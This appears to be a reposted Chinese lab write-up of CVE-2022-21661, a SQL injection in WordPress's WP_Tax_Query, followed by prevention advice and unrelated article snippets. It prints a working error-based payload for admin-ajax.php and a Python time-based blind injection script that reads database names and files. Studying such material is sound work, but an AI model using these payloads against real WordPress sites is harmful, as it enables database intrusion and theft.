CVE-2022-21661

简介

CVE-2022-21661是一个与WordPress相关的漏洞,涉及到SQL注入问题。该漏洞主要源于WordPress的WQ_Tax_Query类中的clean_query函数,可能允许攻击者通过控制传递给该函数的数据来控制生成的SQL查询,从而执行任意的SQL代码。

当WordPress的执行进入WQ_Tax_Query类的get_sql函数时,会调用transform_query函数来处理接收到的数据,并将其组合成SQL查询中的条件。然而,如果攻击者能够控制clean_query的返回数据,他们就可以控制SQL查询的执行。

具体来说,WQ_Tax_Query类中的get_sql、get_sql_clauses、get_sql_for_query和get_sql_for_clause等函数可以接收并处理传递给它们的数据,并将其用于构建SQL查询。然而,如果在传递给这些函数的数据中存在某些特定的控制字符或序列,攻击者就可以尝试修改生成的SQL查询,从而执行他们自己的恶意代码。

例如,如果攻击者在传递给clean_query函数的数据中插入某些特定的控制字符或序列,他们就可以尝试修改生成的SQL查询,从而执行他们自己的恶意代码。在某些情况下,这可能会导致攻击者能够执行任意的SQL代码,从而对数据库进行访问或修改

靶场介绍

2022年1月6日,wordpress发布了5.8.3版本,修复了一处核心代码WP_Query的sql注入漏洞。WP_Query是wordpress定义的一个类,允许开发者编写自定义查询和使用不同的参数展示文章,并可以直接查询wordpress数据库,在核心框架和插件以及主题中广泛使用。源码位置:www.tar

漏洞利用

1.打开场景,下载源码

2.根据官方公布,漏洞存在路径/wp-admin/admin-ajax.php,进行访问

3.判断方法,post提交action=函数名,当调用方法正确即调用的WP_Query的构造方法的action无回显,当调用方法不对或者不存在返回0。

4.开启调试模式poc

action=test&data={"tax_query":{"0":{"field":"term_taxonomy_id","terms":["111) and extractvalue(rand(),concat(0x5e,user(),0x5e))#"]}}}

5.exp

import requests
import timedef time_delay(url, headers, payload):start_time = time.time()response = requests.post(url, headers=headers, data=payload)end_time = time.time()#print(end_time,start_time)delay = end_time - start_timereturn delaydef time_based_blind_sql_injection(url, headers):result=[]for i in range(1, 100):for j in range(32,126):#r'0123456789abcdefghijklmnopqrstuvwxyz_-{}':#find db#payload = """{"id":" (if((substr(database(),%d,1))='%s',sleep(10),1))#"}""" % (i, j)#find table#payload = """{"id":" (if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),%d,1))=%d,sleep(10),1))#"}""" % (i, j)#find table -wp%#payload = """{"id":" (if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database() and table_name not like 0x777025),%d,1))=%d,sleep(10),1))#"}""" % (i, j)#find column#payload = """{"id":" (if(ascii(substr((select count(column_name) from information_schema.columns where table_name='flag'),%d,1))=%d,sleep(10),1))#"}""" % (i, j)#payload = """{"id":" ()#"}""" % (i, j)payload = """action=test&data={"tax_query":{"0":{"field":"term_taxonomy_id","terms":["1) or (if(ascii(substr((select database()),%d,1))=%d,sleep(10),1))#"]}}}""" % (i, j)payload = """action=test&data={"tax_query":{"0":{"field":"term_taxonomy_id","terms":["1) or (if(ascii(substr((select load_file('/flag')),%d,1))=%d,sleep(4),1))#"]}}}""" % (i, j)delay = time_delay(url, headers, payload)print('{ ',''.join(result),' } -> @',i,'-',j,"time_delay:",delay)if delay > 4:result.append(chr(j))print(''.join(result))breakelse:print("The payload is not vulnerable to SQL injection.")print('result:',''.join(result))if __name__ == "__main__":url = "http://eci-2ze5vwsprrajw37m4s5i.cloudeci1.ichunqiu.com/wp-admin/admin-ajax.php"headers = {'Cache-Control': 'no-cache, must-revalidate, max-age=0','Upgrade-Insecure-Requests': '1','User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8','Accept-Encoding': 'gzip, deflate','Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2','Cookie': 'Hm_lvt_2d0601bd28de7d49818249cf35d95943=1700540775,1700564324,1700612154,1700705633; _ga=GA1.2.959161918.1696849239; _ga_J1DQF09WZC=GS1.2.1696849239.1.0.1696849239.0.0.0; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; ci_session=9c000c680a124d4c70cd5cd818dc95d373e61b93; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1700705649','Connection': 'keep-alive','Content-Type': 'application/x-www-form-urlencoded',}time_based_blind_sql_injection(url, headers)

6.结果

预防

为了防止CVE-2022-21661漏洞和其他SQL注入攻击,可以采取以下几种措施:

  1. 输入验证和过滤:对用户输入的数据进行严格的验证和过滤,确保只接受预期的数据类型和格式。这可以通过服务器端和客户端的验证实现。
  2. 参数化查询和预编译语句:使用参数化查询和预编译语句可以防止攻击者修改原始查询。这可以防止SQL注入攻击,因为参数值不会被解释为SQL代码。
  3. 使用最新的版本和补丁:及时更新软件和应用程序,并应用最新的安全补丁。这可以修复已知的漏洞,并提高系统的安全性。
  4. 限制数据库用户的权限:将数据库用户的权限限制为仅能执行必要的操作,并禁止执行其他可能不安全的操作。
  5. 加密敏感数据:对敏感数据进行加密,以防止攻击者访问和利用这些数据。
  6. 配置安全设置:根据应用程序的需要,配置安全设置,例如禁用不必要的数据库功能、限制远程访问等。
  7. 定期备份数据库:定期备份数据库,以防止数据被篡改或丢失。
  8. 安全审计和监控:定期进行安全审计和监控,及时发现并修复潜在的安全问题。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/162441.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【ROS 2 进阶-MoveIt!】MoveIt!中的关键节点

所有内容请查看:博客学习目录_Howe_xixi的博客-CSDN博客 原文档链接:Docs

自动驾驶轨迹预测学习笔记

目录 VectorNet:自动驾驶轨迹预测 CVPR2023 轨迹预测冠军方案 QCNeXt VectorNet:自动驾驶轨迹预测 VectorNet:自动驾驶轨迹预测 - 知乎 CVPR2023 轨迹预测冠军方案 QCNeXt CVPR2023 轨迹预测冠军方案!QCNeXt:新一代…

什么是索引下推

索引下推介绍 索引下推(INDEX CONDITION PUSHDOWN,简称 ICP)是在 MySQL 5.6 针对扫描二级索引的一项优化改进。总的来说是通过把索引过滤条件下推到存储引擎,来减少 MySQL 存储引擎访问基表的次数以及 MySQL 服务层访问存储引擎的…

持续格式刷

双击格式刷即可

专访|OpenTiny 开源社区 常浩:完成比完美更重要

前言 2023年已过大半,备受关注的 OpenTiny*开源之夏活动也顺利结项。开源之夏由中国科学院软件研究所发起的计划,目的在于鼓励在校学生积极参与开源软件的开发维护,推动优秀开源软件社区的繁荣发展。该活动联合各大开源社区,聚焦…

令人赞叹的花里胡哨的代码雨动画效果

【点我-这里送书】 本人详解 作者:王文峰,参加过 CSDN 2020年度博客之星,《Java王大师王天师》 公众号:JAVA开发王大师,专注于天道酬勤的 Java 开发问题中国国学、传统文化和代码爱好者的程序人生,期待你的关注和支持!本人外号:神秘小峯 山峯 转载说明:务必注明来源(…

element emitter broadcast向下广播 dispatch向上分派

emitter 项目使用element的emitter.js,做个使用记录 function broadcast(componentName, eventName, params) {this.$children.forEach(child > {const name child.$options.name;if (name componentName) {child.$emit.apply(child, [eventName].concat(para…

pytorch训练出现的bug

训练过后发现.csv文件左侧出现了几列unname和一列0,1,2。这个时候在训练就会从unname那一列开始训练。我们需要把这几列删除,之后再重新训练

华清远见嵌入式学习——网络编程——作业3

目录 作业要求&#xff1a;基于UDP的TFTP文件传输 代码 下载功能效果图​编辑 上传功能效果图 思维导图 模拟面试题和答案&#xff08;定期更新&#xff09; 作业要求&#xff1a;基于UDP的TFTP文件传输 完成文件的上传和下载功能 代码 #include<myhead.h>//实现…

前端Math属性方法汇总集锦

Description of Math Math 是一个内置对象&#xff0c;它拥有一些数学常数属性和数学函数方法。Math 不是一个函数对象。 Math 用于 Number 类型。它不支持 BigInt。 与其他全局对象不同的是&#xff0c;Math 不是一个构造器。Math 的所有属性与方法都是静态的。引用圆周率的写…

『heqingchun-Ubuntu系统+x86架构+编译安装ffmpeg+带有nvidia硬件加速』

Ubuntu系统x86架构编译安装ffmpeg带有nvidia硬件加速 一、准备文件 注&#xff1a;可直接下载我上传的CSDN资源&#xff0c;然后直接跳到"一"中的第"3"项"将文件按以下顺序存放"。 ffmpeg源码&#xff1a;音视频开发ffmpeg编译所需资源文件 其…

Pgsql常用命令

Postgresql数据库常用命令 1、连接数据库, 默认的用户和数据库是postgres psql -h host -p port -U user -d dbname 2、执行sql文件 psql -h ${PGHOST} -p ${PGPORT} -U ${PGUSER} -d safe_browser -f xxxx.sql \i /xxxxx/xxx/xxxxxx.sql 3、切换数据库,相当于mysql的use d…

Ajax技

Ajax的特点 异步提交&#xff1a;Ajax采用异步通信方式&#xff0c;能够在页面无需重新加载的情况下向服务器发送请求并接收响应数据&#xff0c;提升了用户体验。无需插件&#xff1a;Ajax是基于标准浏览器的Javascript和XMLHttpRequest对象实现的&#xff0c;无需安装插件或…

打开和关闭conda,激活和关闭conda,详解退出conda环境

Python编程技巧&#xff1a;详解退出conda环境 https://www.python100.com/html/110499.html # 创建虚拟环境~/anaconda3/bin/conda create -n name python3.6 # 激活虚拟环境 source ~/anaconda3/bin/activate name # 查看所有环境 conda env list # 激活虚拟环境 conda activ…

使用JVS低代码表单引擎高效管理文件,实现个性化需求

在数字化、信息化的时代&#xff0c;文件上传与管理功能已经成为了各类应用系统的标配。无论是在办公自动化、项目管理还是内容管理系统中&#xff0c;我们都希望能轻松、高效地完成文件的上传、查看和管理。JVS低代码表单引擎提供了文件类组件。无论是文件类型、大小的限制&am…

ubuntu Setforeground 前台应用切换

场景分析 有这样一个系统&#xff0c;一个服务主进程用于接收指令&#xff0c;其它服务是独立的gui 程序&#xff0c;服务进程根据命令将对应的gui 程序切换到前台。 windows 平台有Setforeground 这个api&#xff0c;可以根据进程ID&#xff0c;将某个应用的窗口切换到前台。…

SpringBoot整合Redis,redis连接池和RedisTemplate序列化

SpringBoot整合Redis 1、SpringBoot整合redis1.1 pom.xml1.2 application.yml1.3 配置类RedisConfig&#xff0c;实现RedisTemplate序列化1.4 代码测试 2、SpringBoot整合redis几个疑问&#xff1f;2.1、Redis 连接池讲解2.2、RedisTemplate和StringRedisTemplate 3、RedisTemp…

UniApp打包教程:使用HBuilder X和AppUploader完成原生App云打包和上架指南“

​ 目录 uniapp进行打包 使用上架工具appuplode进行发包 1.登录appuploder软件 2.登陆开发者App Store后台 uniapp进行打包 在HBuilder X编辑器中打开需要打包的项目&#xff0c;然后点击上面菜单栏中 发行 > 原生App-云打包&#xff0c;对以下弹出的弹窗进行内容填写 ​…

竞赛python区块链实现 - proof of work工作量证明共识算法

文章目录 0 前言1 区块链基础1.1 比特币内部结构1.2 实现的区块链数据结构1.3 注意点1.4 区块链的核心-工作量证明算法1.4.1 拜占庭将军问题1.4.2 解决办法1.4.3 代码实现 2 快速实现一个区块链2.1 什么是区块链2.2 一个完整的快包含什么2.3 什么是挖矿2.4 工作量证明算法&…

Java计算时间差,距结束还有几天几小时几分钟

文章目录 1、写法2、备份3、LocalDate、LocalDateTime、Date、String互转 1、写法 //静态方法&#xff0c;传入年月日时分秒 LocalDateTime startTime LocalDateTime.of(2023, 11, 22, 15, 09, 59); LocalDateTime endTime LocalDateTime.of(2023, 11, 30, 0, 0, 0); //计算…